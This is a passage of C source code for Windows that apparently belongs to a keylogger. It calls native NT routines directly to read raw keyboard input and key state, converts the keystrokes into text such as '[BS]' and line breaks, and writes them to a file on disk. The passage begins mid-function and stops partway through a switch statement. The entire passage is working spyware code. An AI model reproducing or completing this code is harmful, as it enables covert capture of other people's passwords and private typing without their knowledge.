case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
{
return(Api.NtUserTranslateMessage((LPMSG)lpMsg, Flags));
}
default:
{
if (lpMsg->message & ~WM_MAXIMUM)
return FALSE;
}
}
return FALSE;
}
UINT RtlQueryRawInputSize(HRAWINPUT Input)
{
UINT ReturnSize = 0;
if(Api.NtUserGetRawInputData(Input, RID_INPUT, NULL, &ReturnSize, sizeof(RAWINPUTHEADER)) == (UINT)-1)
return 0;
else
return ReturnSize;
}
BOOL InlineRtlNtWriteFile(HANDLE File, LPVOID Buffer)
{
NTSTATUS Status = ERROR_SUCCESS;
IO_STATUS_BLOCK Block; RtlZeroMemoryInternal(&Block, sizeof(IO_STATUS_BLOCK));
Status = Api.NtWriteFile(File, NULL, NULL, NULL, &Block, Buffer, (ULONG)StringLengthW((PWCHAR)Buffer), NULL, NULL);
if (!NT_SUCCESS(Status))
return FALSE;
return TRUE;
}
BOOL RtlFlushInMemoryInputBufferToDisk(HANDLE hHandle, UINT Key)
{
BYTE lpKeyState[256] = { 0 };
WORD VirtualKey = 0;
DWORD dwBufferLength = 0;
WCHAR wWriteBuffer[64]; RtlZeroMemoryInternal(wWriteBuffer, sizeof(wWriteBuffer));
WCHAR AltKeyNameBuffer[64]; RtlZeroMemoryInternal(AltKeyNameBuffer, sizeof(AltKeyNameBuffer));
DWORD dwWritten = 0;
WCHAR pwszBuff[10] = { 0 };
if (!Api.NtUserGetKeyboardState(lpKeyState))
return FALSE;
switch (Key)
{
case VK_BACK:
{
if (StringConcatW(wWriteBuffer, (PWCHAR)L"[BS]") != NULL)
dwBufferLength = (DWORD)StringLengthW(wWriteBuffer);
break;
}
case VK_RETURN:
{
if(StringCopyW(wWriteBuffer, (PWCHAR)L"\r\n") != NULL)
dwBufferLength = (DWORD)StringLengthW(wWriteBuffer);
break;
}
default:
{